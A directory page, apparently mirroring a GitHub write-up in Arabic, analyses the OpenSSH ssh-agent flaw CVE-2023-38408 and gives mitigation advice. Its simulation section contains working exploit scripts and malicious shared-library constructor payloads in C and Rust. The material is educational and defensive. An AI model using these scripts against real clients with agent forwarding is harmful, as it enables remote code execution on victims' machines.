Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2023-38408 — تحليل متعمق لـ CVE 2023 38408، وهي ثغرة أمنية خطيرة في OpenSSH، بما في ذلك الخلفية التقنية، والاستغلال في بيئات محكومة، واستراتيجيات التخفيف. | Kitploit
أدوات/GitHubGitHub/adel2411/cve-2023-38408
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالأوراق والأبحاثالتعلم والتعليمالفريق الأحمر
GitHubadel2411/cve-2023-38408

cve-2023-38408

تحليل متعمق لـ CVE 2023 38408، وهي ثغرة أمنية خطيرة في OpenSSH، بما في ذلك الخلفية التقنية، والاستغلال في بيئات محكومة، واستراتيجيات التخفيف.

عرض المستودع
5منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-38408: فهم ومحاكاة ثغرة أمنية حقيقية في وكيل SSH

جدول المحتويات

  1. مقدمة
  2. مفاهيم أساسية
  3. ثغرة CVE-2023-38408
  4. محاكاة واختبار عملي
  5. تحليل تقني
  6. الإصلاح والتخفيف
  7. خاتمة

1. مقدمة

الغرض من التقرير

الغرض من هذا التقرير هو تحليل ثغرة CVE-2023-38408، وهي ثغرة حرجة تم اكتشافها في OpenSSH في العالم الحقيقي، من خلال الفهم النظري والمحاكاة العملية. يشرح التقرير الأسس التقنية للثغرة، ويوضح كيفية استغلالها في بيئات خاضعة للتحكم، ويدرس الإجراءات التخفيفية المطبقة.

أهمية تحليل الثغرات الحقيقية

فهم الثغرات الأمنية في العالم الحقيقي من خلال المحاكاة العملية لا يساعد فقط في حماية الأنظمة بل يعزز أيضًا وعي المطورين ومسؤولي الأنظمة بأساليب الهجوم المحتملة. يسد تحليل هذه الثغرات الفجوة بين النظرية والتنفيذ الأمني العملي.

ما هي ثغرة CVE-2023-38408 ولماذا هي مهمة

CVE-2023-38408 هي ثغرة تؤثر على ssh-agent في OpenSSH عند تفعيل دعم PKCS#11. تسمح بتنفيذ تعليمات برمجية عن بُعد على جهاز العميل إذا اتصل المستخدم بخادم مخترق مع تفعيل إعادة توجيه الوكيل (ssh -A). لهذه الثغرة آثار خطيرة على أي نظام يعتمد على OpenSSH في المصادقة الآمنة.


2. مفاهيم أساسية

2.1 نظرة عامة على SSH

SSH (Secure Shell) هو بروتوكول شبكة تشفيري يُستخدم للاتصال الآمن عبر الشبكات غير الآمنة. يوفر قنوات مشفرة لتسجيل الدخول عن بُعد، وتنفيذ الأوامر، ونقل الملفات، والمزيد.```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]

root@kitploit:~
### 2.2 ما هو ssh-agent

`ssh-agent` هو عملية خلفية تخزّن مفاتيح SSH الخاصة غير المشفّرة في الذاكرة، مما يتيح لك استخدامها دون الحاجة إلى إعادة إدخال كلمات المرور في كل مرة تتصل فيها بنظام بعيد.

#### إعادة توجيه الوكيل (ssh -A)

تسمح إعادة توجيه الوكيل لنظام بعيد بالوصول إلى `ssh-agent` المحلي لديك عبر مقبس مجال يونكس. هذا الأمر مفيد لربط اتصالات SSH ولكنّه ينطوي على مخاطر أمنية كبيرة إذا تم اختراق الجهاز البعيد.```mermaid
sequenceDiagram
    participant Client as SSH Client
    participant Agent as ssh-agent
    participant Server as Remote Server
    participant Proxy as Agent Proxy

    Client->>Agent: Start agent
    Client->>Server: ssh -A user@server
    Server->>Proxy: Create proxy socket
    Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
    Server->>Proxy: ssh-add request
    Proxy->>Client: Forward request
    Client->>Agent: Process request
    Agent->>Client: Response
    Client->>Proxy: Forward response
    Proxy->>Server: Final response

من الناحية التقنية، عند استخدام ssh -A، يقوم عميل SSH بإعداد مأخذ توصيل نطاق يونكس (Unix domain socket) على الخادم البعيد يعمل كـ وكيل لـ ssh-agent المحلي لديك. يتم تعيين متغير البيئة SSH_AUTH_SOCK ليشير إلى هذا المأخذ الوكيل. يتم إعادة توجيه أي استدعاءات تُجرى على SSH_AUTH_SOCK على الخادم البعيد مرة أخرى عبر اتصال SSH ومعالجتها بواسطة ssh-agent المحلي لديك.

2.3 ما هو PKCS#11

PKCS#11 هي واجهة برمجة تطبيقات قياسية للتفاعل مع الرموز التشفيرية، مثل البطاقات الذكية أو YubiKeys أو وحدات أمان العتاد الافتراضية (HSMs).

كيف يدعم ssh-agent PKCS#11

يدعم ssh-agent الخاص بـ OpenSSH تحميل موفري PKCS#11 (مكتبات .so مشتركة) باستخدام الأمر ssh-add -s /path/to/provider.so. تسمح هذه المكتبات للوكيل بالتفاعل مع الوحدات الآمنة (عتادية أو برمجية) لاستخدام المفاتيح الخاصة دون تعريضها مباشرة.

في الخلفية، عند استدعاء ssh-add -s، يقوم بما يلي:

  • يتم تحميل ملف .so ديناميكيًا في الذاكرة باستخدام dlopen().
  • يحل الوكيل ويستدعي وظائف مثل C_Initialize() و C_GetSlotList() و C_FindObjects() و C_Sign() عبر واجهة برمجة تطبيقات PKCS#11.
  • يعيد الموفّر البيانات الوصفية ويتعامل مع الطلبات لتوقيع تحديات المصادقة، مع إبقاء مادة المفتاح الخاص بشكل آمن داخل الرمز المميز العتادي.

3. ثغرة CVE-2023-38408

3.1 ملخص CVE

3.2 آلية الثغرة

تنبع الثغرة من قيام ssh-agent بتحميل أي ملف كائن مشترك (.so) يتم توفيره عبر ssh-add -s، دون التحقق مما إذا كان موفرًا شرعيًا لـ PKCS#11.```mermaid graph TD A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent] B --> C[ssh-agent calls dlopen on malicious.so] C --> D[Constructor function executes immediately] D --> E[Arbitrary code runs on victim machine]

root@kitploit:~
### 3.3 تحليل تدفق الهجوم```mermaid
sequenceDiagram
    participant V as Victim
    participant A as Attacker
    participant Agent as ssh-agent
    participant Lib as Malicious .so

    V->>A: ssh -A attacker@host
    Note over V,A: Agent forwarding enabled
    A->>Agent: ssh-add -s /path/to/malicious.so
    Agent->>Lib: dlopen("/path/to/malicious.so")
    Note over Lib: Constructor executes
    Lib->>V: Malicious code runs
    Note over V: System compromised

على أدنى مستوى، يتضمن تسلسل الأحداث ما يلي:

  1. يقوم نظام عن بعد بإرسال طلب إلى الوكيل المُعاد توجيهه يطلب منه تنفيذ ssh-add -s /path/to/lib.so
  2. يتلقى وكيل SSH المحلي هذا الطلب ويقوم بشكل أعمى باستدعاء dlopen("/path/to/lib.so", RTLD_NOW)
  3. إذا كان ملف .so يحتوي على دالة بناء (__attribute__((constructor))), فإنها تُنَفَّذ فورًا عند التحميل
  4. يمكن أن تحتوي دالة البناء هذه على تعليمات برمجية ضارة عشوائية تُنَفَّذ على جهاز العميل

3.4 سيناريو هجوم حقيقي


4. المحاكاة العملية والاختبار

4.1 إعداد بيئة المحاكاة

لإظهار هذه الثغرة في بيئة محكومة، تم إجراء محاكاة شاملة باستخدام حسابات مستخدمين وأجهزة طرفية متعددة.

تكوين البيئة

إنشاء حسابات المستخدمين```bash

As main user

sudo adduser victim sudo adduser attacker

root@kitploit:~
#### إعداد مفتاح SSH لتوجيه الوكيل```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost

4.2 نصوص المحاكاة والتنفيذ

نص اتصال الضحية (new-connection.sh)```bash

#!/bin/bash

Kill any existing agent

eval $(ssh-agent -k) > /dev/null 2>&1

Start a new agent and add key

eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa

Connect to attacker with agent forwarding

ssh -A attacker@localhost

root@kitploit:~
#### منشئ الحمولة الضارة للمهاجم (`build-evil.sh`)```bash
#!/bin/bash
set -e

C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"

function build_c() {
  sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
  echo "C payload built at $OUTPUT_PATH"
}

function build_rust() {
  cd "$RUST_DIR"
  cargo build --release
  cd -
  SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
  sudo cp "$SO_FILE" "$OUTPUT_PATH"
  rm -rf "$RUST_DIR/target"
  echo "Rust payload built at $OUTPUT_PATH"
}

case "$1" in
  --c) build_c ;;
  --rust) build_rust ;;
  *) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac

سكريبت الاستغلال (exploit.sh)```bash

#!/bin/bash

Use forwarded agent

export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)

Trigger the malicious shared object via ssh-agent

ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so

root@kitploit:~
### 4.3 نتائج المحاكاة وتحليلها

#### السلوك المتوقع في الأنظمة القابلة للاستغلال

| **الإجراء**                | **استجابة النظام القابل للاستغلال**      | **استجابة النظام المُصحَّح** |
| ------------------------- | ----------------------------------- | --------------------------- |
| `ssh-add -s malicious.so` | تحميل المكتبة، تنفيذ المنشئ (constructor) | `agent refused operation`   |
| تنفيذ الحمولة (Payload)   | إنشاء `/tmp/exploit.log`            | لا تنفيذ                    |
| تأثير النظام              | تنفيذ تعليمات برمجية عن بُعد          | لا تأثير                    |

#### مخرجات المحاكاة الفعلية

عند تشغيل المحاكاة على نظام مُصحَّح (OpenSSH 9.3p2+):```
Enter passphrase for PKCS#11:
Could not add card "/.../evil.so": agent refused operation

ملاحظة رئيسية: على الرغم من أن الوكيل يرفض العملية في الإصدارات المصححة، إلا أن هذه المحاكاة توضح ناقل الهجوم وتساعد في فهم تأثير الثغرة في الإصدارات القديمة.

4.4 تحليل بناء الحمولة

مكتبة ضارة مبنية بلغة C```c

// evil.c - Example malicious PKCS#11 library #include <stdlib.h> #include <stdio.h>

attribute((constructor)) void malicious_constructor() { // This executes immediately when dlopen() is called system("echo 'Exploit triggered' > /tmp/exploit.log"); system("touch ~/exploit.txt"); // In a real attack, this could download and execute additional payloads }

// Minimal PKCS#11 function to make it appear legitimate void C_Initialize() { return; }

root@kitploit:~
#### بديل مبني على Rust

استخدام crate `ctor` لدوال البناء:```rust
// Cargo.toml
[dependencies]
ctor = "0.1"

// lib.rs
use ctor::ctor;
use std::process::Command;

#[ctor]
fn malicious_constructor() {
    Command::new("sh")
        .arg("-c")
        .arg("echo 'Rust exploit triggered' > /tmp/exploit.log")
        .output()
        .expect("Failed to execute command");
}

5. التحليل الفني

5.1 تحليل السبب الجذري

توجد الثغرة بسبب عدة قرارات تصميمية في تنفيذ ssh-agent الخاص بـ OpenSSH:

5.2 تحليل الذاكرة والعملية```mermaid

graph TB A[ssh-agent process] --> B[dlopen system call] B --> C[Load malicious.so into memory] C --> D[Execute constructor function] D --> E[Arbitrary code execution] D --> F[Spawn child processes] D --> G[File system modifications] D --> H[Network connections]

root@kitploit:~
### 5.3 رسم سطح الهجوم

| **ناقل الهجوم**          | **المتطلبات**                     | **مستوى التأثير** | **صعوبة الكشف** |
| ------------------------ | --------------------------------- | ----------------- | --------------- |
| توجيه الوكيل             | `ssh -A` مُمكّن                   | حرج               | منخفضة          |
| ملف .so خبيث             | الوصول إلى نظام الملفات           | حرج               | متوسطة          |
| الهندسة الاجتماعية       | تفاعل المستخدم                    | عالي              | عالية           |
| سلسلة التوريد            | مزود PKCS#11 المُخترق             | حرج               | عالية جداً      |

---

## 6. الإصلاح والتخفيف

### 6.1 كيف تم إصلاحه في OpenSSH 9.3p2

عالج OpenSSH 9.3p2 هذه الثغرة من خلال تقديم سلوك افتراضي آمن:

| **الإجراء الأمني**       | **التنفيذ**                         | **التأثير**                        |
| ----------------------- | ----------------------------------- | ---------------------------------- |
| التعطيل الافتراضي        | دعم PKCS#11 معطل افتراضيًا           | يقلل سطح الهجوم                    |
| التمكين الصريح          | يتطلب علامة `-O allow-pkcs11`        | موافقة المستخدم مطلوبة              |
| التحقق                  | تحقق مكتبة مُحسّن                    | يمنع تنفيذ التعليمات البرمجية التعسفية |

#### تغييرات التهيئة```bash
# Old behavior (vulnerable)
ssh-agent  # PKCS#11 enabled by default

# New behavior (secure)
ssh-agent -O allow-pkcs11  # Explicit opt-in required

6.2 تحليل التنفيذ```mermaid

flowchart TD A[ssh-add -s request] --> B{PKCS#11 allowed?} B -->|No| C[Agent refused operation] B -->|Yes| D{Valid PKCS#11 library?} D -->|No| E[Validation failed] D -->|Yes| F[Load library safely]

root@kitploit:~
### 6.3 استراتيجيات التخفيف الشاملة

#### إجراءات فورية

| **الأولوية** | **الإجراء**               | **التنفيذ**                                        |
| ------------ | ------------------------ | --------------------------------------------------------- |
| عالية         | ترقية OpenSSH          | `apt update && apt upgrade openssh-client openssh-server` |
| عالية         | تعطيل توجيه الوكيل          | `ssh -o ForwardAgent=no`                                  |
| متوسطة       | تدقيق تكوينات SSH      | مراجعة `/etc/ssh/ssh_config`                              |
| متوسطة       | مراقبة استخدام الوكيل      | تسجيل أنشطة ssh-agent                                  |

#### إجراءات أمنية طويلة المدى

1. **تعزيز تكوين SSH**   ```
   # /etc/ssh/ssh_config
   ForwardAgent no
   HashKnownHosts yes
   VerifyHostKeyDNS yes
  1. تقسيم الشبكة ```mermaid graph LR A[Trusted Network] --> B[Jump Host] B --> C[DMZ] C --> D[Production Network]

    Note1[No agent forwarding beyond Jump Host] Note2[Separate credentials for each zone]

    root@kitploit:~
  2. المراقبة والكشف ```bash

    Monitor ssh-agent processes

    ps aux | grep ssh-agent

    Check for unusual .so loads

    lsof -p $(pgrep ssh-agent) | grep '.so$'

    Monitor SSH_AUTH_SOCK usage

    auditctl -w /tmp -p w -k ssh_agent_monitor

    root@kitploit:~

6.4 تنفيذ أفضل الممارسات

سياسات الأمان التنظيمية


7. الخاتمة

7.1 النتائج الرئيسية

يُظهر CVE-2023-38408 ثغرة أمنية حرجة استغلت علاقة الثقة بين عملاء SSH والوكلاء. من خلال المحاكاة العملية، تبرز عدة رؤى رئيسية:

  1. انتهاكات حدود الثقة: استغلت الثغرة الثقة الضمنية في اتصالات الوكيل المعاد توجيهها
  2. إساءة استخدام المنشئات: تجاوز تنفيذ التعليمات البرمجية الخبيثة عبر منشئات المكتبات المشتركة جميع ضوابط الأمان
  3. انعدام الأمان الافتراضي: إن تمكين دعم PKCS#11 افتراضيًا خلق سطح هجوم غير ضروري
  4. مخاطر إعادة توجيه الوكيل: أدت سهولة إعادة توجيه الوكيل إلى آثار أمنية خطيرة

7.2 تقييم التأثير

7.3 الدروس المستفادة

يوفر تحليل الثغرة هذا، المعزز بالمحاكاة العملية، عدة دروس حرجة:

  1. الإعدادات الافتراضية الآمنة: يجب تعطيل ميزات الأمان افتراضيًا وتتطلب تفعيلًا صريحًا
  2. التحقق من المدخلات: يجب التحقق بدقة من جميع المدخلات الخارجية، بما في ذلك ملفات المكتبات
  3. مبدأ الامتياز الأقل: يجب تقييد إعادة توجيه الوكيل في البيئات الموثوقة فقط
  4. الدفاع المتعمق: تمنع طبقات الأمان المتعددة نقاط الفشل الفردية

7.4 اعتبارات مستقبلية```mermaid

mindmap root((Security Evolution)) Modern Threats Supply Chain Attacks Zero-Trust Architecture Container Security SSH Security Certificate-based Auth Hardware Security Modules Multi-factor Authentication Organizational Measures Security Training Incident Response Continuous Monitoring

root@kitploit:~
### 7.5 التوصيات النهائية

بناءً على التحليل الشامل ونتائج المحاكاة:

1. **فوري**: ترقية جميع تثبيتات OpenSSH إلى الإصدار 9.3p2 أو أحدث
2. **قصير المدى**: تنفيذ سياسات صارمة لتوجيه الوكيل ومراقبته
3. **طويل المدى**: اعتماد بنية شبكة الثقة الصفرية والمصادقة القائمة على الشهادات
4. **مستمر**: الحفاظ على برامج التعليم الأمني المستمر وتقييم الثغرات

**الخلاصة الرئيسية**: تعد CVE-2023-38408 تذكيرًا قويًا بأن ميزات الراحة مثل توجيه الوكيل يمكن أن تتحول إلى ثغرات أمنية حرجة عندما لا يتم تنفيذها بشكل صحيح. يوفر الجمع بين الفهم النظري والمحاكاة العملية الأساس لبناء دفاعات قوية ضد هجمات مماثلة في المستقبل.

من خلال هذا التحليل الشامل، يمكن لمتخصصي الأمن فهم العلاقات المعقدة بين مكونات SSH بشكل أفضل وتنفيذ الضمانات المناسبة لحماية بنيتهم التحتية من ثغرات مماثلة.
تنزيل الأداة
تفاصيل CVEالمعلومات
معرف CVECVE-2023-38408
درجة CVSS9.8 (حرجة)
الإصدارات المتأثرةOpenSSH < 9.3p2
ناقل الهجومشبكة
الامتيازات المطلوبةلا شيء
تفاعل المستخدممطلوب
التأثيراختراق كامل للنظام
دالة PKCS#11الغرضمستوى المخاطرة
C_Initialize()تهيئة المكتبةمنخفض
C_GetSlotList()سرد الفتحات المتاحةمنخفض
C_FindObjects()إيجاد الكائنات التشفيريةمتوسط
C_Sign()توقيع البياناتمرتفع
dlopen()تحميل المكتبة المشتركةحرج
السمةالتفاصيل
المعرفCVE-2023-38408
الشدةعالية (CVSS 9.8)
الجدول الزمنيتم الكشف عنها يوليو 2023، أُصلحت في OpenSSH 9.3p2
البرنامج المتأثرإصدارات OpenSSH قبل 9.3p2 التي تدعم PKCS#11
تعقيد الهجوممنخفضة
ناقل الهجومشبكة عبر إعادة توجيه وكيل SSH
الخطوةالإجراءالتأثير
1يقوم المستخدم بتشغيل ssh -A user@attacker-hostتم تمكين إعادة توجيه الوكيل
2يقوم المهاجم بإعداد malicious.soالحمولة جاهزة
3يقوم المهاجم بتنفيذ ssh-add -s /tmp/malicious.soيتم إرسال الطلب إلى وكيل الضحية
4يقوم الوكيل بتحميل المكتبة الضارةيتم تنفيذ دالة البناء
5يتم تشغيل التعليمات البرمجية الضارةتم تحقيق تنفيذ التعليمات البرمجية عن بُعد
المكونالتكوينالغرض
الطرفية 1مستخدم victimعميل SSH (الهدف)
الطرفية 2مستخدم attackerخادم SSH (المهاجم)
مفاتيح SSHRSA 2048-bitالمصادقة بدون كلمات مرور
ملفات الاختباربرامج شل نصية متنوعةالأتمتة وتسليم الحمولة
المشكلة التصميميةالوصفالتأثير
Unrestricted dlopen()لا يوجد تحقق من صحة ملفات .soيسمح بتنفيذ تعليمات برمجية عشوائية
تنفيذ المُنشئ (Constructor)يتم تشغيل الكود قبل التحقق من PKCS#11اختراق فوري
ثقة إعادة توجيه الوكيل (Agent forwarding trust)لا يوجد مصادقة للطلبات المُعاد توجيههاإمكانية الاستغلال عن بُعد
دعم PKCS#11 الافتراضيالميزة مُفعّلة افتراضيًاسطح هجوم أوسع
مجال السياسةالمتطلبطريقة التحقق
استخدام وكيل SSHموافقة موثقة مطلوبةتدقيق الامتثال للسياسة
إعادة توجيه الوكيلمحظور على المضيفين غير الموثوقينمراقبة الشبكة
مكتبات PKCS#11قائمة بيضاء للمزودين المعتمدينمراقبة سلامة الملفات
إدارة الإصداراتإلزامية OpenSSH 9.3p2+مسح الثغرات الآلي
فئة التأثيرالخطورةالوصف
السريةحرجةوصول كامل إلى المواد التشفيرية للمستخدم
السلامةحرجةالقدرة على تعديل ملفات النظام والتكوينات
التوفرعاليةاحتمالية تعطيل النظام أو رفض الخدمة
المصادقةحرجةاختراق آليات مصادقة SSH